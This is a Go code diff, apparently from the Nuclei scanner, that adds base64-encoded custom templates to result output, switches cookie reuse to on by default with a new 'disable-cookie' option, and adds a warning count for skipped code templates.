@ -115,6 +118,8 @@ type ResultEvent struct {
|
||||
TemplateID string `json:"template-id"`
|
||||
// TemplatePath is the path of template
|
||||
TemplatePath string `json:"template-path,omitempty"`
|
||||
// TemplateEncoded is the base64 encoded template
|
||||
TemplateEncoded string `json:"template-encoded,omitempty"`
|
||||
// Info contains information block of the template for the result.
|
||||
Info model.Info `json:"info,inline"`
|
||||
// MatcherName is the name of the matcher matched if any.
|
||||
@ -207,6 +212,7 @@ func NewStandardWriter(options *types.Options) (*StandardWriter, error) {
|
||||
severityColors: colorizer.New(auroraColorizer),
|
||||
storeResponse: options.StoreResponse,
|
||||
storeResponseDir: options.StoreResponseDir,
|
||||
omitTemplate: options.OmitTemplate,
|
||||
}
|
||||
return writer, nil
|
||||
}
|
||||
@ -217,6 +223,7 @@ func (w *StandardWriter) Write(event *ResultEvent) error {
|
||||
if event.TemplatePath != "" {
|
||||
event.Template, event.TemplateURL = utils.TemplatePathURL(types.ToString(event.TemplatePath), types.ToString(event.TemplateID))
|
||||
}
|
||||
|
||||
event.Timestamp = time.Now()
|
||||
|
||||
var data []byte
|
||||
@ -344,9 +351,22 @@ func (w *StandardWriter) WriteFailure(wrappedEvent *InternalWrappedEvent) error
|
||||
Response: types.ToString(event["response"]),
|
||||
MatcherStatus: false,
|
||||
Timestamp: time.Now(),
|
||||
//FIXME: this is workaround to encode the template when no results were found
|
||||
TemplateEncoded: w.encodeTemplate(types.ToString(event["template-path"])),
|
||||
}
|
||||
return w.Write(data)
|
||||
}
|
||||
|
||||
var maxTemplateFileSizeForEncoding = 1024 * 1024
|
||||
|
||||
func (w *StandardWriter) encodeTemplate(templatePath string) string {
|
||||
data, err := os.ReadFile(templatePath)
|
||||
if err == nil && !w.omitTemplate && len(data) <= maxTemplateFileSizeForEncoding && config.DefaultConfig.IsCustomTemplate(templatePath) {
|
||||
return base64.StdEncoding.EncodeToString(data)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func sanitizeFileName(fileName string) string {
|
||||
fileName = strings.ReplaceAll(fileName, "http:", "")
|
||||
fileName = strings.ReplaceAll(fileName, "https:", "")
|
||||
|
||||
@ -145,6 +145,7 @@ const (
|
||||
UnsignedWarning = "unsigned-warnings"
|
||||
HeadlessFlagWarningStats = "headless-flag-missing-warnings"
|
||||
TemplatesExecutedStats = "templates-executed"
|
||||
CodeFlagWarningStats = "code-flag-missing-warnings"
|
||||
)
|
||||
|
||||
func init() {
|
||||
@ -154,8 +155,9 @@ func init() {
|
||||
stats.NewEntry(SyntaxErrorStats, "Found %d templates with syntax error (use -validate flag for further examination)")
|
||||
stats.NewEntry(RuntimeWarningsStats, "Found %d templates with runtime error (use -validate flag for further examination)")
|
||||
stats.NewEntry(UnsignedWarning, "Found %d unsigned or tampered code template (carefully examine before using it & use -sign flag to sign them)")
|
||||
stats.NewEntry(HeadlessFlagWarningStats, "Excluded %d headless templates (disabled as default), use -headless option to run headless templates.")
|
||||
stats.NewEntry(TemplatesExecutedStats, "Excluded %d templates with known weak matchers / tags excluded from default run using .nuclei-ignore")
|
||||
stats.NewEntry(HeadlessFlagWarningStats, "Excluded %d headless template[s] (disabled as default), use -headless option to run headless templates.")
|
||||
stats.NewEntry(CodeFlagWarningStats, "Excluded %d code template[s] (disabled as default), use -code option to run code templates.")
|
||||
stats.NewEntry(TemplatesExecutedStats, "Excluded %d template[s] with known weak matchers / tags excluded from default run using .nuclei-ignore")
|
||||
}
|
||||
|
||||
// ParseTemplate parses a template and returns a *templates.Template structure
|
||||
|
||||
@ -254,6 +254,7 @@ func (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent
|
||||
ExtractedResults: wrapped.OperatorsResult.OutputExtracts,
|
||||
Timestamp: time.Now(),
|
||||
MatcherStatus: true,
|
||||
TemplateEncoded: request.options.EncodeTemplate(),
|
||||
}
|
||||
return data
|
||||
}
|
||||
|
||||
@ -122,6 +122,7 @@ func (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent
|
||||
Timestamp: time.Now(),
|
||||
Request: types.ToString(wrapped.InternalEvent["request"]),
|
||||
Response: types.ToString(wrapped.InternalEvent["raw"]),
|
||||
TemplateEncoded: request.options.EncodeTemplate(),
|
||||
}
|
||||
return data
|
||||
}
|
||||
|
||||
@ -107,6 +107,7 @@ func (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent
|
||||
ExtractedResults: wrapped.OperatorsResult.OutputExtracts,
|
||||
Response: types.ToString(wrapped.InternalEvent["raw"]),
|
||||
Timestamp: time.Now(),
|
||||
TemplateEncoded: request.options.EncodeTemplate(),
|
||||
}
|
||||
return data
|
||||
}
|
||||
|
||||
@ -39,9 +39,9 @@ type HistoryData struct {
|
||||
|
||||
// Options contains additional configuration options for the browser instance
|
||||
type Options struct {
|
||||
Timeout time.Duration
|
||||
CookieReuse bool
|
||||
Options *types.Options
|
||||
Timeout time.Duration
|
||||
DisableCookie bool
|
||||
Options *types.Options
|
||||
}
|
||||
|
||||
// Run runs a list of actions by creating a new page in the browser.
|
||||
@ -108,7 +108,7 @@ func (i *Instance) Run(input *contextargs.Context, actions []*Action, payloads m
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
if options.CookieReuse {
|
||||
if !options.DisableCookie {
|
||||
if cookies := input.CookieJar.Cookies(URL); len(cookies) > 0 {
|
||||
var NetworkCookies []*proto.NetworkCookie
|
||||
for _, cookie := range cookies {
|
||||
@ -141,9 +141,9 @@ func (i *Instance) Run(input *contextargs.Context, actions []*Action, payloads m
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
if options.CookieReuse {
|
||||
if !options.DisableCookie {
|
||||
// at the end of actions pull out updated cookies from the browser and inject them into the shared cookie jar
|
||||
if cookies, err := page.Cookies([]string{URL.String()}); options.CookieReuse && err == nil && len(cookies) > 0 {
|
||||
if cookies, err := page.Cookies([]string{URL.String()}); !options.DisableCookie && err == nil && len(cookies) > 0 {
|
||||
var httpCookies []*http.Cookie
|
||||
for _, cookie := range cookies {
|
||||
httpCookie := &http.Cookie{
|
||||
|
||||
@ -37,7 +37,7 @@ func (p *Page) routingRuleHandler(ctx *rod.Hijack) {
|
||||
}
|
||||
}
|
||||
|
||||
if p.options.CookieReuse {
|
||||
if !p.options.DisableCookie {
|
||||
// each http request is performed via the native go http client
|
||||
// we first inject the shared cookies
|
||||
if cookies := p.input.CookieJar.Cookies(ctx.Request.URL()); len(cookies) > 0 {
|
||||
@ -48,7 +48,7 @@ func (p *Page) routingRuleHandler(ctx *rod.Hijack) {
|
||||
// perform the request
|
||||
_ = ctx.LoadResponse(p.instance.browser.httpclient, true)
|
||||
|
||||
if p.options.CookieReuse {
|
||||
if !p.options.DisableCookie {
|
||||
// retrieve the updated cookies from the native http client and inject them into the shared cookie jar
|
||||
// keeps existing one if not present
|
||||
if cookies := p.instance.browser.httpclient.Jar.Cookies(ctx.Request.URL()); len(cookies) > 0 {
|
||||
|
||||
@ -65,7 +65,12 @@ type Request struct {
|
||||
|
||||
// description: |
|
||||
// CookieReuse is an optional setting that enables cookie reuse
|
||||
// Deprecated: This is default now. Use disable-cookie to disable cookie reuse. cookie-reuse will be removed in future releases.
|
||||
CookieReuse bool `yaml:"cookie-reuse,omitempty" json:"cookie-reuse,omitempty" jsonschema:"title=optional cookie reuse enable,description=Optional setting that enables cookie reuse"`
|
||||
|
||||
// description: |
|
||||
// DisableCookie is an optional setting that disables cookie reuse
|
||||
DisableCookie bool `yaml:"disable-cookie,omitempty" json:"disable-cookie,omitempty" jsonschema:"title=optional disable cookie reuse,description=Optional setting that disables cookie reuse"`
|
||||
}
|
||||
|
||||
// RequestPartDefinitions contains a mapping of request part definitions and their
|
||||
|
||||
@ -138,6 +138,7 @@ func (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent
|
||||
IP: types.ToString(wrapped.InternalEvent["ip"]),
|
||||
Request: types.ToString(wrapped.InternalEvent["request"]),
|
||||
Response: types.ToString(wrapped.InternalEvent["data"]),
|
||||
TemplateEncoded: request.options.EncodeTemplate(),
|
||||
}
|
||||
return data
|
||||
}
|
||||
|
||||
@ -130,13 +130,13 @@ func (request *Request) executeRequestWithPayloads(input *contextargs.Context, p
|
||||
return errors.Wrap(err, errCouldGetHtmlElement)
|
||||
}
|
||||
options := &engine.Options{
|
||||
Timeout: time.Duration(request.options.Options.PageTimeout) * time.Second,
|
||||
CookieReuse: request.CookieReuse,
|
||||
Options: request.options.Options,
|
||||
Timeout: time.Duration(request.options.Options.PageTimeout) * time.Second,
|
||||
DisableCookie: request.DisableCookie,
|
||||
Options: request.options.Options,
|
||||
}
|
||||
|
||||
if options.CookieReuse && input.CookieJar == nil {
|
||||
return errors.New("cookie-reuse set but cookie-jar is nil")
|
||||
if !options.DisableCookie && input.CookieJar == nil {
|
||||
return errors.New("cookie reuse enabled but cookie-jar is nil")
|
||||
}
|
||||
|
||||
out, page, err := instance.Run(input, request.Steps, payloads, options)
|
||||
|
||||
@ -16,7 +16,7 @@ func (request *Request) CanCluster(other *Request) bool {
|
||||
}
|
||||
if request.Method != other.Method ||
|
||||
request.MaxRedirects != other.MaxRedirects ||
|
||||
request.CookieReuse != other.CookieReuse ||
|
||||
request.DisableCookie != other.DisableCookie ||
|
||||
request.Redirects != other.Redirects {
|
||||
return false
|
||||
}
|
||||
|
||||
@ -146,7 +146,13 @@ type Request struct {
|
||||
// description: |
|
||||
// CookieReuse is an optional setting that enables cookie reuse for
|
||||
// all requests defined in raw section.
|
||||
// Deprecated: This is default now. Use disable-cookie to disable cookie reuse. cookie-reuse will be removed in future releases.
|
||||
CookieReuse bool `yaml:"cookie-reuse,omitempty" json:"cookie-reuse,omitempty" jsonschema:"title=optional cookie reuse enable,description=Optional setting that enables cookie reuse"`
|
||||
|
||||
// description: |
|
||||
// DisableCookie is an optional setting that disables cookie reuse
|
||||
DisableCookie bool `yaml:"disable-cookie,omitempty" json:"disable-cookie,omitempty" jsonschema:"title=optional disable cookie reuse,description=Optional setting that disables cookie reuse"`
|
||||
|
||||
// description: |
|
||||
// Enables force reading of the entire raw unsafe request body ignoring
|
||||
// any specified content length headers.
|
||||
@ -247,10 +253,10 @@ func (request *Request) Compile(options *protocols.ExecutorOptions) error {
|
||||
}
|
||||
|
||||
connectionConfiguration := &httpclientpool.Configuration{
|
||||
Threads: request.Threads,
|
||||
MaxRedirects: request.MaxRedirects,
|
||||
NoTimeout: false,
|
||||
CookieReuse: request.CookieReuse,
|
||||
Threads: request.Threads,
|
||||
MaxRedirects: request.MaxRedirects,
|
||||
NoTimeout: false,
|
||||
DisableCookie: request.DisableCookie,
|
||||
Connection: &httpclientpool.ConnectionConfiguration{
|
||||
DisableKeepAlive: httputil.ShouldDisableKeepAlive(options.Options),
|
||||
},
|
||||
|
||||
@ -95,8 +95,8 @@ type Configuration struct {
|
||||
MaxRedirects int
|
||||
// NoTimeout disables http request timeout for context based usage
|
||||
NoTimeout bool
|
||||
// CookieReuse enables cookie reuse for the http client (cookiejar impl)
|
||||
CookieReuse bool
|
||||
// DisableCookie disables cookie reuse for the http client (cookiejar impl)
|
||||
DisableCookie bool
|
||||
// FollowRedirects specifies the redirects flow
|
||||
RedirectFlow RedirectFlow
|
||||
// Connection defines custom connection configuration
|
||||
@ -116,7 +116,7 @@ func (c *Configuration) Hash() string {
|
||||
builder.WriteString("f")
|
||||
builder.WriteString(strconv.Itoa(int(c.RedirectFlow)))
|
||||
builder.WriteString("r")
|
||||
builder.WriteString(strconv.FormatBool(c.CookieReuse))
|
||||
builder.WriteString(strconv.FormatBool(c.DisableCookie))
|
||||
builder.WriteString("c")
|
||||
builder.WriteString(strconv.FormatBool(c.Connection != nil))
|
||||
hash := builder.String()
|
||||
@ -125,7 +125,7 @@ func (c *Configuration) Hash() string {
|
||||
|
||||
// HasStandardOptions checks whether the configuration requires custom settings
|
||||
func (c *Configuration) HasStandardOptions() bool {
|
||||
return c.Threads == 0 && c.MaxRedirects == 0 && c.RedirectFlow == DontFollowRedirect && !c.CookieReuse && c.Connection == nil && !c.NoTimeout
|
||||
return c.Threads == 0 && c.MaxRedirects == 0 && c.RedirectFlow == DontFollowRedirect && c.DisableCookie && c.Connection == nil && !c.NoTimeout
|
||||
}
|
||||
|
||||
// GetRawHTTP returns the rawhttp request client
|
||||
@ -277,7 +277,7 @@ func wrappedGet(options *types.Options, configuration *Configuration) (*retryabl
|
||||
var jar *cookiejar.Jar
|
||||
if configuration.Connection != nil && configuration.Connection.HasCookieJar() {
|
||||
jar = configuration.Connection.GetCookieJar()
|
||||
} else if configuration.CookieReuse {
|
||||
} else if !configuration.DisableCookie {
|
||||
if jar, err = cookiejar.New(&cookiejar.Options{PublicSuffixList: publicsuffix.List}); err != nil {
|
||||
return nil, errors.Wrap(err, "could not create cookiejar")
|
||||
}
|
||||
|
||||
@ -164,6 +164,7 @@ func (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent
|
||||
Request: types.ToString(wrapped.InternalEvent["request"]),
|
||||
Response: request.truncateResponse(wrapped.InternalEvent["response"]),
|
||||
CURLCommand: types.ToString(wrapped.InternalEvent["curl-command"]),
|
||||
TemplateEncoded: request.options.EncodeTemplate(),
|
||||
}
|
||||
return data
|
||||
}
|
||||
|
||||
@ -634,6 +634,7 @@ func (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent
|
||||
Request: types.ToString(wrapped.InternalEvent["request"]),
|
||||
Response: types.ToString(wrapped.InternalEvent["response"]),
|
||||
IP: types.ToString(wrapped.InternalEvent["ip"]),
|
||||
TemplateEncoded: request.options.EncodeTemplate(),
|
||||
}
|
||||
return data
|
||||
}
|
||||
|
||||
@ -32,7 +32,7 @@ func setup() {
|
||||
progressImpl, _ := progress.NewStatsTicker(0, false, false, false, 0)
|
||||
|
||||
executerOpts = protocols.ExecutorOptions{
|
||||
Output: testutils.NewMockOutputWriter(),
|
||||
Output: testutils.NewMockOutputWriter(options.OmitTemplate),
|
||||
Options: options,
|
||||
Progress: progressImpl,
|
||||
ProjectFile: nil,
|
||||
|
||||
@ -108,6 +108,7 @@ func (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent
|
||||
IP: types.ToString(wrapped.InternalEvent["ip"]),
|
||||
Request: types.ToString(wrapped.InternalEvent["request"]),
|
||||
Response: types.ToString(wrapped.InternalEvent["data"]),
|
||||
TemplateEncoded: request.options.EncodeTemplate(),
|
||||
}
|
||||
return data
|
||||
}
|
||||
|
||||